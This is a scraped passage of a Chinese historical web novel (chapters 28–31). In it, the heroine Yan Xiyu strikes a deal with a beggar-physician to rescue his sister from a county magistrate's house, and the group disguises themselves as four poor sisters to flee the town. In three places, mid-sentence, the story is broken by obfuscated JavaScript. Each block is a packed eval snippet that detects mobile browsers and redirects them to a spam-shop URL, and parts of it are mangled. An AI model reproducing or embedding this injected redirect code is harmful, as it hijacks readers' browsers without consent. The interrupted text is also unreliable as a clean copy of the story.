帮她梳好发髻,三丫提醒道:“小丫,我们该出去买食粮了。” 燕惜妤“嗯嗯”点头:“三姐你在这好好歇着,我先出去逛逛,明天退房再买。” 三丫惊讶道:“我不一同出去?” “三姐,你现在是富家千金的打扮,你出去只能逛金银楼,去成衣铺买衣裳,”燕惜妤边换衣裳边说,“我这丫鬟打扮的才合适去买吃的。” 三丫顿时不吭声了。 “饿了,我们吃什么?”燕惜妤转过头来问。 三丫看看她,叹了口气说:“吃鱼片粥吧,昨儿个伙计说他家的鱼片粥不错。” “行,那我们让伙计给我们端鱼片粥,”燕惜妤笑着点头。 吃过鱼粥,燕惜妤蒙了面纱就出了客栈。 在外面溜达了一圈,确定了其它城门的位置,还看好了卖包子和馍馍的小摊子,最后东逛西逛了大半日,又走进了一处清净的街道。 这街道是在知县大人的府邸后面,不像别的街道那么吵杂,路两侧也有不少卖吃食的小摊子。 除了摊贩,还有好几个缩在墙角下坐着的乞丐。这些乞丐倒也不盯着买吃食的百姓,估计是在等小贩收摊后会给他们一些剩饭剩菜。 街上飘着食物的香味,燕惜妤看着冒热气的馄饨,忽然觉得自己饿了。 “大娘,一碗馄饨多少钱?”燕惜妤问。 “姑娘,我这馄饨可是有肉的,要五文钱一碗,”大娘说。 “那我要一碗馄饨,”燕惜妤挑了个最里边的木桌对着墙壁坐下。 墙壁下坐着一个衣着破破烂烂,且蓬头垢面的乞丐。 大娘这时双手端着一碗馄饨走了过来:“姑娘,这是你的热馄饨,慢些吃。” “谢谢大娘,”燕惜妤刚摘下脸上的面纱准备吃馄饨,忽然有两个乞儿双手捧着碗站在了她的桌边。 俩个只比桌子高那么一点点的乞儿。 燕惜妤把桌上那碗馄饨分成了两半分别勺在了乞儿的碗里,最后边把汤倒进去边说:“很烫,你们找个地方坐着慢慢吃。” 等乞儿走后,燕惜妤把碗推到桌边,对卖馄饨的大娘说:“大娘,再给我一碗馄饨。” 等大娘煮馄饨时,燕惜妤又想把面纱戴上,忽然听见有人说。 “你身上这层黄栀膏如果再不洗去,怕是永远洗不掉了。” 28. 第28章 燕惜妤一顿,侧头看向了一直靠墙坐着的乞丐。 对方一头乱糟糟的头发挡着脸,燕惜妤看不清此人的脸,只从声音听出是个年轻的少年。 燕惜妤回想了一下先前灾民之间的称呼:“这位……小郎,要一起吃碗馄饨吗?” 对方无动于衷地坐在墙边发愣。 燕惜妤懂了,这位小郎不差钱,如果是真正的乞丐,最起码会过来吃一碗馄饨,但他现在却是一身乞丐的装扮。 这时大娘又端来了一碗馄饨,燕惜妤也不再管别的,先吃饱了再说。 等燕惜妤吃了馄饨付了钱之后,那小郎还坐在墙边,仿佛入定了似的。 “小郎,你能看出我涂了黄栀膏,那你还能看出我有其他的病症吗?”燕惜妤走到对方的身旁,“你应该也是涂了黄栀膏吧,否则你绝对看不出来。” 少年郎嘛,如果真有本事在身,一般都经不起激将法。 对方抬头看过来,头发挡住了他的脸,但燕惜妤的激将法显然是有用的,因为他站了起来:“随我来。” 俩人走到了一条小巷子里,对方在一个石墩前坐下,燕惜妤于是也蹲在了对方的面前。 “手放上来,”这人说。 燕惜妤于是把右手放在石墩上,对方伸出的手也是黄黑黄黑的,也不知是被日头晒的还是真涂了黄栀膏。 直到燕惜妤蹲到脚都快麻了,她两只手都放在了石墩上,对方也分别用两只手为她诊了脉。 “我这病……”燕惜妤轻咳了声,“你诊出来了?” 对方又诊了一会脉,这才收回了手:“你体内有余毒。” 燕惜妤眉梢一扬,果然是有真才实学的。 “对,正在吃着解药,”燕惜妤赞叹说,“小郎好医术。” 对方继续说:“你还有离魂症。” 离魂?咦? 燕惜妤试探着问:“小郎说的离魂症是?” 对方轻嗤了一声:“你瞒不了我,你魂魄离体断气再醒已经不是一日两日了吧?” 嚯?!!这都能靠诊脉诊出来?!!! 燕惜妤缓缓睁大了眼睛,神医啊!!! 对方看见她这表情,又是轻嗤一声,很是傲慢地站了起来,然后迈着六亲不认的步伐向外走。 燕惜妤扬了扬眉梢,唇角勾起跟在对方身后走着。 这人走到街边,又坐回到了之前的位置上,面对着同一个方向又开始入定。 燕惜妤顺着他对着的方向看了几眼,那个方向是知县府邸的后门,坐在这里看一天,能把出入知县府邸后门的人看的一清二楚。 “小神医,”燕惜妤低低叫了一声,“知县府里有你认识的人?” “别喊我神医,”对方头也没抬。 “小郎,”燕惜妤立即改口,“我这离魂症你能医治吗?” 对方靠着墙坐着,没吭声。 燕惜妤往知县后门的方向看了看:“在知县里的人对你很重要吧?你进不去,里面的人是不是也出不来?” 对方像是根本没听见她的话,像一尊石雕似的一动不动。 “你在这守了很久吧?”燕惜妤继续说,“你是想进去?还是想把里面的人带出来?” 最后这句话一出口,对方的头歪了歪。 咦?有反应。 燕惜妤眉梢又是一扬:“你想把里面的人带出来?” 对方又不动了。 “你带不出来吧?”燕惜妤往他那边挪了挪脚步,低声说,“我帮你把人带出来,你帮我治好离魂症,怎么样?” 对方又是一声“嗤”笑,总算是略微抬头看了她一眼:“把人带出来?你知道那是谁的府邸吗?要知道是谁的府邸你就不敢再说这种话了。” “知道啊,窉州遥县的知县嘛,”燕惜妤漫不经心地说,“又不是龙潭虎穴,有什么不敢的。” “你?!”对方像是看傻子似的表情,“你是离魂症,不是疯病。” “你一身乞丐打扮,却是小神医,”燕惜妤斜眼瞥他,“我这弱女子难道就不能是武林高手。” 这人沉默了好一会儿,才再次开口:“你真的能把人带出来?” 燕惜妤没回答他,却是反问:“你在这里守了多久?” 对方像是喃喃自语:“十年……” 十年? 燕惜妤有些委婉地说:“你确定人还在府里?”其实她是想问里面的人是生还是死。 对方显然听懂了,“噌”一下站了起来:“我阿姐还活着!” “那就好,你阿姐还活着,我就能把人救出来,”燕惜妤反而有些高兴,“我帮你救了人,我的离魂症你就得帮我医治,很好。” 对方乱糟糟头发后的眼睛紧紧地盯着她:“你真能帮我救出我阿姐?” “我说能,你也不信,”燕惜妤意有所指地说,“但你在这守了十年都没能把人带出来,所以你除了信我,也没别的办法了吧。” 对方杵着没动,也不知道在想什么。 燕惜妤也没时间让他想太久:“我只问你一句,你想好了吗?” “……想好什么?”对方有些怔忡,“我自然是要把我阿姐救出来的。” “我把人救出来之后,你打算怎么做?”燕惜妤说,“是打算和某些人鱼死网破,还是忍声吞气等待机会?” 这话一出口,对方浑身一震,猛地抬头盯紧了她,眼中充满了警惕:“你是谁?你知道些什么?!” “我能知道什么?我知道的都是你自己告诉我的,”燕惜妤奇怪地看着他,“普通的乞丐应该不会拒绝一碗馄饨,你拒绝了,说明你身上有银子。 “你阿姐在十年前进的知县府邸却连门都出不了,那说明你阿姐不是在里面当佣作的仆人。 “一个女子进了知县家里,女子的家人肯定是能得到好处的,知县随便从手指缝里漏点儿什么,都够普通人家一生吃穿不愁,你家人绝对过着富裕的日子。” 燕惜妤说完,和对方渐渐震惊的眼神对上:“我没说错吧?” 对方怔怔地点了点头。 “你是怎么想的?”燕惜妤问他,“我如果帮你救了人,你要是带着你姐去寻仇来个鱼死网破,那我不就是白忙活一场了吗?” 对方没说话。 “你要是选择鱼死网破,那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282635|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你就把能治好我的方子写给我,”燕惜妤说,“不过你是遥县人,也该知道那知县在遥县当了十多年的知县,朝中肯定有人,否则他早就该调走了,你如果没做好万全的准备,还是先保命要紧。” “我总有一天要夺回属于我的一切!”对方咬牙切齿地说。 燕惜妤看着他:“我帮你把人救出来,你带着你姐跟我去乌州泰县,你什么时候把我的病治好了,你就能带你姐离开。” “乌州泰县?”对方又是一怔,“那里可是大承最危险的边地!” “你是逃跑,不跑远一点,等着被捉吗?”燕惜妤瞥他一眼。就连她自己虽然得到了马县的户籍,仍然还要逃到乌州去。她如果被教坊司通缉,那就是通缉令在前,马县户籍在后,衙门的捕快要是抓到她,是按逃奴的罪名处理的。 “你……真能帮我把我阿姐救出来?”对方用怀疑的目光打量着她,“刘知县府中守卫森严,别说人,连只虫子都飞不出来。” “我去试试就知道了,”燕惜妤满不在乎地说。她已经用三丫验证了大承朝通缉令的严谨,现在刚好可以验证这一县之首的知县府中的防守安全。 对方还是用怀疑的眼神看着她。 燕惜妤如果不是怕动用了天赋会出现断气问题,她是真想给对方露一手。 看看天,怕回去迟了三丫会担心,燕惜妤打算放弃这小神医,或许日后会再遇到能给她看病的人,就不强求这少年了。 只是她的身体时不时出现断气的状况,对她来说存在着很大的隐患。 但她又不能把这少年直接给绑走。 “算了,你还是继续守在这吧,”燕惜妤转身准备离开,“反正你已经守了十年了,慢慢守下去吧。” 她是真的要走,那人顿时急了:“……等一下!” 燕惜妤可不想再和他在这浪费时间,她自己和三丫也是在逃跑的路上,可不能在城中耽搁太久。 “你要是真能救出我阿姐,”对方像是在咬牙说着,“我与阿姐同你去边地。” 燕惜妤脚下倏地就是一个转弯:“就这么说定了。” 对方胸膛起伏着,双手紧攥着拳头盯着她:“你要是在知县府中被守卫发现……” “我被捉和你有什么关系?”燕惜妤用疑惑的眼光看着他,“你只是街边的一个乞丐。” 对方沉默地站了一会儿,忽然说:“我姓佟,佟槿方。”说完,目光紧紧盯了过来。 “我姓燕,燕惜妤,”燕惜妤也双眼紧紧盯着佟槿方。 俩人互相对视着,都想从彼此眼中看出点关于自己姓氏的反应。 “还有什么要说的吗?”燕惜妤确定这人对自己的姓氏没什么反应。 “我与阿姐如果跟着你,你就是包庇逃犯,”佟槿方语气有点复杂。 燕惜妤顿时乐了:“那我们最好跑快点。”她自己和三丫是从教坊司逃出来的女乐,而佟槿方的姐姐只是从知县府中逃跑,说到罪名的轻重,还是逃跑女乐的罪更重一些吧,毕竟教坊司隶属于朝廷管辖。 如果他们四人真被捕快捉住,或许是他们俩姐弟会担上包庇逃奴的罪名也说不定。 29. 第29章 佟槿方显然没想到燕惜妤还能笑得出来:“你……”这都要与知县大人为敌了,此人竟然还能笑得出来。 “找个地方再商议一下,”燕惜妤轻咳了一声,“明日晚上我把你姐姐带出来,清晨城门一打开我们就出城离开。” “这么快?!”佟槿方震惊地看着燕惜妤,然后又左右看看,连忙带着人往另一条小巷里走去。 “我还住着客栈呢,”燕惜妤说,“再说就只是带一个人出来,你打算让我在这城里也待十年吗。” “可那是从知县府中带人出来,”佟槿方喃喃低语道,“你怎么说着像是去逛寺庙后院呢。” 燕惜妤看了他一眼,忽然问:“你姐姐会愿意出来吗?” 佟槿方脚步一顿,然后继续向前走:“你如果真能进到刘府见到她,你帮我给她带几句话,她会跟你走的。” “那就好,”燕惜妤点点头,“我就怕你在外面风餐露宿守她十年,而她在里面没了自由却是因为你。” 佟槿方脚步猛地一顿,抬头看着燕惜妤的眼神很惊愕:“你、你!” 燕惜妤看他这表情,在心里叹了口气,转移了话题:“你要带我去哪?咱们还要做些准备才能出城。” 佟槿方怔了一下,这才埋着头往前走,把燕惜妤带到了一间破损的小土庙里。 很破的一间小土庙,庙里只有一张布满蛛丝的香案。 “你要做什么准备?”佟槿方已经恢复了之前的样子,“明日夜里你真能救我阿姐出来?” “我能,你不用反复问这个,”燕惜妤蹲在小庙门口的地上,随便捡了根树枝在地上画地图,“你给我指出你姐在知县府里的具体位置。” 佟槿方连忙也蹲在地上,打算仔细把刘府画出来。 燕惜妤阻止他:“你只需要告知你姐住在什么地方就可以了。” 佟槿方抿了抿嘴唇:“她住在刘府正院的西耳房里,正院的守卫最为森严。” 正院一般是家中长辈或当家人才能居住,而佟槿方的姐姐住在正院的耳房…… 燕惜妤用树枝点了点地上佟槿方画出的图:“你姐住在这个角落的屋子里,那从这里走哪条小巷子才不会经过衙门?” 佟槿方沉默了。 “怎么了?”燕惜妤看着他。 “刘府外面只有一条小巷,”佟槿方的声音充满了无奈,“从这小巷出来,须经过衙门才能出城。” 燕惜妤也沉默了一下:“那从哪条路走,离附近的侧城门最近?” “为什么不走正城门?”佟槿方问,“刘府离正城门才是最近的。” 因为我和三丫就是从正城门进来的,所以不能再从那里出城。 “走正城门怕被发现,”燕惜妤说,“你把侧城门的路指出来。” 佟槿方于是又把最近的侧城门指了出来。 燕惜妤仔细看了看路线,然后点头:“就按照这条路线离开,明日深夜我去把你姐带出来,然后在天亮前去到城门口,等城门打开我们立即出城。” 佟槿方低着头没说话。 “现在我们再来说些别的,”燕惜妤忽然说,“佟槿方,你和你姐的户籍在身上吗?” 佟槿方慢慢抬起头:“没有。” 很好,四个逃跑的人,三个没户籍。 “为什么不带在身上?”燕惜妤有点好奇他不带户籍的原因。 “不能从家里把任何与身份有关的信件带走,会引起……怀疑,”佟槿方含糊地说。 燕惜妤“啧”了一声:“那以后你们就不能进别的城县了。”和三丫一样,倒也是有伴了。 佟槿方移开视线说:“但我手上有他人的户籍。” 燕惜妤立即盯紧了他:“谁的户籍?” 佟槿方眼睛看着别处说:“遥县总有客死他乡的异乡人。”他当乞丐的这十年,在死人身上扒出不少东西。 燕惜妤愣了两秒,小看你了啊少年郎。 “这样啊,”燕惜妤忽然露出了一个笑容,“那我救你姐这事,还要再加一个条件。” 佟槿方震惊地回过头来看着燕惜妤,显然是没想到这人还能临时提要求:“你还要什么?还要银子吗?” “我要一份女子的户籍,”燕惜妤笑眯眯地说。 “什么?!!”佟槿方这下不仅是震惊,他的语气中甚至还有着骇然,“你也没有户籍?!!!” “我有啊,”燕惜妤好笑地看着他的反应,“但我三姐没有。” 佟槿方脱口而出:“你还有三姐?!” “你这话什么意思?”燕惜妤把手里捏着的树枝往地上一甩,“就许你有阿姐,不许我有三姐?” “不、不是,”佟槿方连忙说,“我是想问……你三姐为何会没有户籍?” 燕惜妤眯起眼睛盯着他:“你为什么想知道?” 佟槿方被她盯着向后仰了仰头:“你三姐……是不是被你从家里偷带出来的?” “算是吧,”燕惜妤垂下了眼。 看她这样,佟槿方也不知道想到了什么,竟然同意了:“那我就给你三姐一份户籍吧。” “谢谢啊,”燕惜妤立即抬起了头,然后笑眯眯地对他伸出了手,“最后,银子拿来。” “你要银子做什么?”佟槿方立即说,“我银子也不多。” “买吃的啊,我们以后要在路上奔波,没吃的可不行,”燕惜妤理所当然地说,“你该不会是打算让我出银子给你们买吃的吧?” “那你要多少?”佟槿方说,“不用买太多,放久了会长毛。” “要五钱银子,”燕惜妤对他张开了五只手指。 “……你买这许多我们背不动,”佟槿方有点无奈。 “谁说要我们背,”燕惜妤得意地一抬头,“我有一匹马,而且我还要买衣裳,你穿这身和我们一起出城会让人怀疑。” “我自己有能穿的衣裳,”佟槿方说,“我阿姐……” 燕惜妤打断他:“你那衣裳不合适。” 佟槿方想问他自己的衣裳怎么就不合适了,但最后还是默默地掏出了一粒碎银子递了过去:“给我阿姐买身橘色的裙子。” “没问题,”燕惜妤愉快地收下银子,然后又说,“还有,你去买架旧木板车,一定要连套板车的拉绳也一起买了。” “买木板车?”刚刚还舍不得银子的佟槿方皱起了眉,“为什么不买带厢的马车,路上若是下雨怎么办?” 燕惜妤看着他幽幽地说:“路上要是下雨,咱四人就蹲木板车底下躲雨,要是蹲不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14282636|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下,咱四人就抬起木板车挡雨。” 佟槿方也看着她,伸手按了按额角:“我买板车。” “那就这样说定了,你这身打扮暂时就这样,先别换衣裳,”燕惜妤拍拍手站了起来,“明日后晌,我会带着我三姐过来找你,到时候你要带着板车在这里等我。” 说完,也不等佟槿方说话,转身就离开。 佟槿方愣愣地看着她的背影,过了好一会儿喃喃自语道:“我莫不是遇到骗子了,还被她骗走了五钱银子……” 而等燕惜妤回到客栈,三丫将人拉进屋里,声音充满了焦急:“怎的就去了这许久?我还以为你被拐子骗走了。” “路上遇到一位小兄弟,我答应带他和他姐姐一起去乌州,”燕惜妤说着,把手里的大包裹放在桌子上。 “这是?”三丫问了一句。 “新买的衣裳,明日我们出城前换上,”燕惜妤说。 “好好,几时出城?”听到能出城,三丫立即就要准备收拾屋里的包裹。 “明日后晌退房,后日清晨出城,”燕惜妤伸手去提茶壶,她渴了,想喝水。 三丫一手提起茶壶给她倒水:“后晌退房?夜里歇在城门前?” 燕惜妤举着杯子边喝水边说:“随便找个地方待着。” “好好,”三丫连连点头,这客栈她是一天都住不下去了,押的五钱三银子也不知道能拿回多少。 燕惜妤看着掌柜退回的十六文钱,抬眼看了看对方市侩的嘴脸。 当之无愧的黑店啊。 “你们!”三丫忍不住刚想开口说话,燕惜妤就一把抓起了柜面上的十六个铜板。 “姑娘,要出城了,我扶姑娘上马。” 在大门外牵着马的伙计弓着身说:“贵客慢走,恭候贵客日后再来住店。” 你等我赚到了钱在你店对面也开间客栈。 燕惜妤一手抱着两个包裹,一手牵着缰绳,慢慢向前走去。 “小丫,那客栈……”三丫声音很是气愤,“当真是黑店!” “算了,我在里面住着也挺开心的,那浴桶在房里一共放了三天,天天都能洗到热水澡,吃饭还不用自己动手,”燕惜妤笑笑说,“这银子花就花了。” 三丫沉默了一会儿,才说:“那我们去买干粮,以后我不跟着进城了。”不跟着进城,就花不了那许多银子,五钱三的银子要是全用来买干粮,足够小丫一个人这一路上吃的了。 “先去一个地方,”燕惜妤牵着马向着昨日的那座小土庙走去。 也不知道佟槿方有没有买到板车,如果没买到…… “你怎么才来!”身后忽然响起了佟槿方的声音。 燕惜妤回头一看,一身乞丐打扮的佟槿方竟然跟在她们后头走着。 燕惜妤笑了:“你该不会是怕我不会来,所以早早就在巷口里等着我?” 佟槿方没说话,抬头看了看马背上坐着的人。 “她是我三姐,你也喊她三姐,”燕惜妤说,“至于我,你得喊我小丫姐。” “……那我阿姐呢?”佟槿方问。 “你阿姐是我们四姐妹的二姐,”燕惜妤笑眯眯地说。 “嗯,”佟槿方刚想点头,忽然动作一顿,“我们……四姐妹?” 30. 第30章 “什么?”燕惜妤正想和他说话,一看见小土庙前停着的板车,顿时就蹦了两下,“三姐,你看,是板车!” “嗯,我看见了,”三丫自己扶着马鞍下了马,“这板车虽然旧了些,但还算牢固。” “挺好的,”燕惜妤也点头,然后对三丫说,“三姐,这是佟槿方,你喊他阿槿。” “阿槿,”三丫用警惕的眼神看着佟槿方。 她又是帷帽又是面纱的,而且还没有户籍,佟槿方对她也充满了防备:“三姐。” “阿槿,你还买了这个?”燕惜妤看着板车上的几套蓑衣和大斗笠,她数了数,一共四套,然后回头看着佟槿方,“阿槿有心了。” “……这往后同路,我们互相帮衬着,”佟槿方侧着头说,“虽然不是新的,但这旧的也能挡着些风雨。” 三丫看着那四套旧蓑衣,也诚心向他道了谢:“阿槿有心了,谢谢。” 佟槿方仍然侧着头:“三姐客气。” “那行,我们先把板车套在马背上,然后再去买干粮,”燕惜妤拍拍手,看着佟槿方,“阿槿,你会套板车吗?” 佟槿方沉默着解下了马鞍,然后给马匹套上了板车。 马儿可能并不习惯这样被束缚着,刚开始还向前走了两步,佟槿方轻轻摸着马前额,马儿很快就平静了下来。 佟槿方套好木板车,然后看着燕惜妤:“你会不会?要坐这两边,中间不能坐人。” “我不坐,我拉着它出去买干粮,”燕惜妤过来接过缰绳,对三丫说,“三姐,你在这里等我,我很快就回来。” “好,”三丫点头。她这会儿不说要跟着去了,自从住客栈把那五钱三的银子全花了之后,她就觉得自己不跟着或许能少花很多银子。 燕惜妤拉着马车去街上买干粮,因为多了两个人,所以是成筐买的,一共买了两竹筐硬馍。 这竹筐比她之前背着的背篓要大上一半,她那背篓最多放五十个硬馍,这竹筐能放一百个。 在客栈吃了几天好的,燕惜妤又买了九个肉包子,打算晚上吃。 然后去买了一个小瓦锅,店家说瓦锅不耐烧,用三五个月估计就会开裂,但陶锅太贵,而且陶锅和瓦锅一样,路上颠簸着同样有不小心就会磕碎的可能,所以干脆买便宜的小瓦锅,如果没什么特别的状况,两个月内应该就能去到乌州了。 四个人,只有两个陶钵不够用,于是燕惜妤又买了两个陶钵和两个小木勺,还买了一把汤勺。 够不够用都只能买这么多了,毕竟现在手头的银子只出不进,让燕惜妤有了很大的经济危机。 没银子,到了乌州该怎么活啊! 燕惜妤闷不吭声地拉着马儿回来,如果不是看见板车上放着两筐干粮,佟槿方还以为她在路上被贼人摸走了银子。 “小丫,怎么了?”三丫担心地看着她。 “想念住客栈的日子,”燕惜妤弯着腰,有气无力地将额头抵在三丫的肩膀上,“明日又要一直颠簸在路上,好累的。” 三丫没说话,只是伸手摸了摸燕惜妤的发髻。燕惜妤这发髻还是她给梳的,在头顶梳一个圆髻,再用头巾包裹着,圆圆的让人看着很俏丽。 佟槿方抿了抿嘴,刚想开口说话,燕惜妤忽然挺直了腰:“我买了肉包子,一人三个,吃完等天黑,咱们就要准备出门了。” 佟槿方被她吓了一跳。 三丫奇怪地问:“今夜不是在这小土庙歇息?” “不是,我们还要去接二姐,”燕惜妤说。 “……二姐在哪?”三丫问,“怎的要半夜里去接?” 燕惜妤看看佟槿方,笑着去拿包子:“夜里就知道了,先吃包子,再把我买的衣裳换上。” 新买的是粗布衣裳,四套都是女子穿的。 “……这里面也有我要穿的?!”佟槿方瞪大了眼睛。 “当然,从今夜起,你就是我们的小妹,”燕惜妤抖了抖手里的裙子,眯着眼睛看他,“大家都知道你阿姐有个弟弟是吧?” 佟槿方不吭声了,他闭了闭眼睛:“我穿!”一脸忍辱负重的表情。 “这就对了,”燕惜妤笑笑,然后把手里的衣裳往小土庙那脏兮兮的地砖上一扔,“搓它!” “好好的新衣裳怎的就要搓脏?”三丫心疼地说。 佟槿方也一脸不解地看着她。 燕惜妤说:“因为没有谁家在不是过年的日子里,会让四姐妹都穿上新衣裳的。” 三丫也不知道想到了什么,沉默地蹲下开始在地砖上搓衣裳。 新衣裳在脏地砖上搓成了又脏又皱的旧衣裳。 燕惜妤拎着抖了抖,一阵灰尘扑鼻而来:“咳咳,就搓成这样吧,再搓就要破了。” 三丫和佟槿方都沉默地停下了手,也站起来抖了两下,一时之间灰尘满天飞。 “阿槿,有没有黑色的膏子,给我三姐涂一下脸,”燕惜妤看着佟槿方问。 佟槿方看看三丫,还真转身走了出去,回来的时候,不仅背着个包裹,手里还拎着个破藤箱子。 他给燕惜妤递了一个小油纸包:“这个能用。” “谢谢,”燕惜妤接了过来。 佟槿方看看她,忽然说:“你身上的黄……” 他话还没说完,燕惜妤就打断了他:“迟些再洗去,会很难吗?” 佟槿方想了想:“倒也还是有法子。” “那就再等等吧,”燕惜妤对他挥挥手,“我和三姐先换,你在门外替我们看一下门,可以吧?” 佟槿方点点头,转身走了出去。 新买的四套衣裳都是窄袖交领短衫配百迭裙,全是选的耐脏的颜色,给佟槿方他姐姐买的是橘色的百迭裙,可惜在地砖上这么一搓,再好看的颜色都变得不能看了。 换好了衣裳,燕惜妤又帮着三丫在右额角连着右眼一起给涂了一层不规则的黑色药膏,看着就像一块胎记似的。 “这样应该可以了,”燕惜妤把手上还沾着的药膏在裙子的两边很随意地擦了擦。 三丫已经手脚勤快地把换下的衣裳全都放进了包裹里。 燕惜妤带着三丫出来的时候,佟槿方背对着门的方向站在板车旁边,看样子他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14285519|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之前拿出来的东西已经放在了板车上。 “到你了,会穿吗?”燕惜妤问他。 佟槿方抿着唇点点头。 “让三姐先帮你梳个发髻,”燕惜妤说,“趁着天还没黑,否则待会儿看不清了。” 三丫笑着过去帮佟槿方梳了个双丫髻,配上他那张瘦弱的脸,少年郎瞬间就变成了小姑娘。 “不错,是咱们的小阿妹,”燕惜妤笑着夸赞了一句,“我们现在要先习惯一下彼此的称呼,免得到时候在官差面前说漏嘴了,小阿妹你说对吧?” “小丫姐说得对,”佟槿方身上也涂了黄栀膏,黄黑黄黑的,虽然看不出脸红没红,但从他那僵硬的步伐能看出他的失惜。 不过等他换好衣裳出来的时候,倒是看不出多少慌张了,面上一脸的淡定。 这少年郎的心里承受能力还是可以的。 “来,最后把鞋子换上,”燕惜妤把刚在墙角蹭脏的新鞋子递了过去,“这双是留着给二姐的。” 佟槿方接过手里脏兮兮的女鞋,他是真没想到她竟然连这方面都想到了。 难道只昨日俩人在馄饨摊子上见了那一面,她就已经把今日要走的每一步都想好了?! ……或许,她真的能把阿姐从刘府里救出来! “再把板车上的东西整理一下,”燕惜妤走到板车旁边说,“要留出可以躺一个人的位置。” 三丫立即就动手收拾板车上的物品:“留出位置让我们坐吗?” “嗯,到时二姐和小妹坐在前头负责牵缰绳,”燕惜妤比划着,“三姐和我坐在板车里,两筐硬馍用蓑衣盖着,不用全盖上,要留出小半让官差看到。” “为什么是我和……二姐赶马车?”佟槿方站在一旁问,“我赶就可以,让二姐也坐板车里。” “那不行,没有让最小的小妹赶车,而三个大姐都坐板车里的,”燕惜妤摇头说,“这会引起官差的怀疑。” 佟槿方不吭声了。 三丫把板车上的东西都归置好了,燕惜妤跳上去靠着板车的矮沿坐着,还伸出双腿确定了一下位置。 然后一个转身,躺在了板车上,还对三丫招手:“三姐,你上来坐这里。” 三丫于是爬上了板车,背靠着车沿坐着,燕惜妤脑袋枕着她的大腿又躺下了。 三丫温柔地为她整理了一下撩起的裙摆:“这样可以吧?你是不是想在路上枕着三姐的腿睡觉?” “让三姐猜到了,”燕惜妤笑眯眯地坐起来,然后跳下板车拍拍双手,“可以了,接下来就等天黑了。” 佟槿方站在旁边看着她扶着三姐下板车,视线停在三姐脸上:“小丫姐,我……二姐要不要也在脸上涂点药膏?” “不用,”燕惜妤说。 “为何只有我二姐不用?”他和她都涂了黄栀膏,而三姐也在脸上涂出了假胎记,为什么只余下他阿姐不需要做伪装,“是打算在出事的时候把她丢下吗?” 他们此时做了这么多,不就是为了能从知县府中救出他阿姐? 那为什么偏偏独留下他阿姐不需要任何伪装? 31. 第31章 佟槿方说话的声音忽然变得有点森冷,把三丫给惊了一下。 她不安地看着俩人:“这是怎么了?” “没事,三姐你再看看斗笠摆放的位置,”燕惜妤扫了眼佟槿方,“你过来。” 佟槿方沉默地跟着她走到一旁。 “这件事别在三姐面前多说,她会害怕,”燕惜妤扫他一眼。 “那为何我……二姐不用伪装?”佟槿方执着地仍询问这个问题。 燕惜妤语气肯定地问:“二姐一定是个长得好看,性子稳妥的人,对吧?” “你为何会知道?”佟槿方惑然地瞪大了眼睛,“我并没有在你面前提起关于我阿姐的任何事情。”难道这也能从彼此的对话中猜测出来? “这事你不说别人也会知道的,”燕惜妤好笑地看着他,“二姐被送进的地方是知县的府邸,那可是知县的家啊,知县手执一方百姓的生死大权,二姐各方面如果不出彩,谁敢往知县的家里送? “要是送去一个不懂事还只会惹事的人,那不是给自家招来祸患吗。 “所以二姐一定是个很好的女子,她不仅温婉美丽,还很稳妥,是个性格坚韧的女子。” 燕惜妤每说一句话,佟槿方的眼睛就缓缓瞪大一分,直到最后,他眼中全是震撼。 “你、你!”他显然没想到燕惜妤还真的都猜对了,但很快又收敛了脸上的表情,蹙着眉追问,“这和不给我二姐脸上做伪装有何关系?” 燕惜妤伸手向后一指:“看见马了吗?” “自然是看见了,”佟槿方盯着她,“我问的是为何不给二姐伪装,你……” 燕惜妤打断他:“咱四姐妹这样穷的人家,马儿哪来的?” 佟槿方忽地一顿,面上还愠怒的表情立时僵住了。是啊,马儿哪来的? 燕惜妤挑着眉问他:“你日日在街头坐着,见过哪个穷人家里能养的起马的?所以你说,我这马儿哪来的?” 佟槿方蹙着眉想了好一会儿,才说:“借来的?” 燕惜妤点点头,又问:“谁去借?” 佟槿方又不说话了。 燕惜妤笑了笑:“能借到马的人,自然是咱家那温婉美丽,为人稳妥的二姐,借东西也要看人的,人家会怕你借了不还,所以出面去借的那个人,得是个能让人信任的人才行。” “……这点我方才没想到,先前是我误会你了,对不住,”佟槿方呐呐说着。他不仅是方才没想到,他压根就没想过,他们四个穷人家打扮的女子身边跟着匹马是会引人怀疑的。 “没事,你也别总是怀疑我,我既然说了会救人,那你唯一要想的,就是该如何治好我那每次一动武就会发病的离魂症,”燕惜妤意有所指地说出这句话。 佟槿方估计还在震撼着燕惜妤的聪慧,像是没听见她说的这句话。 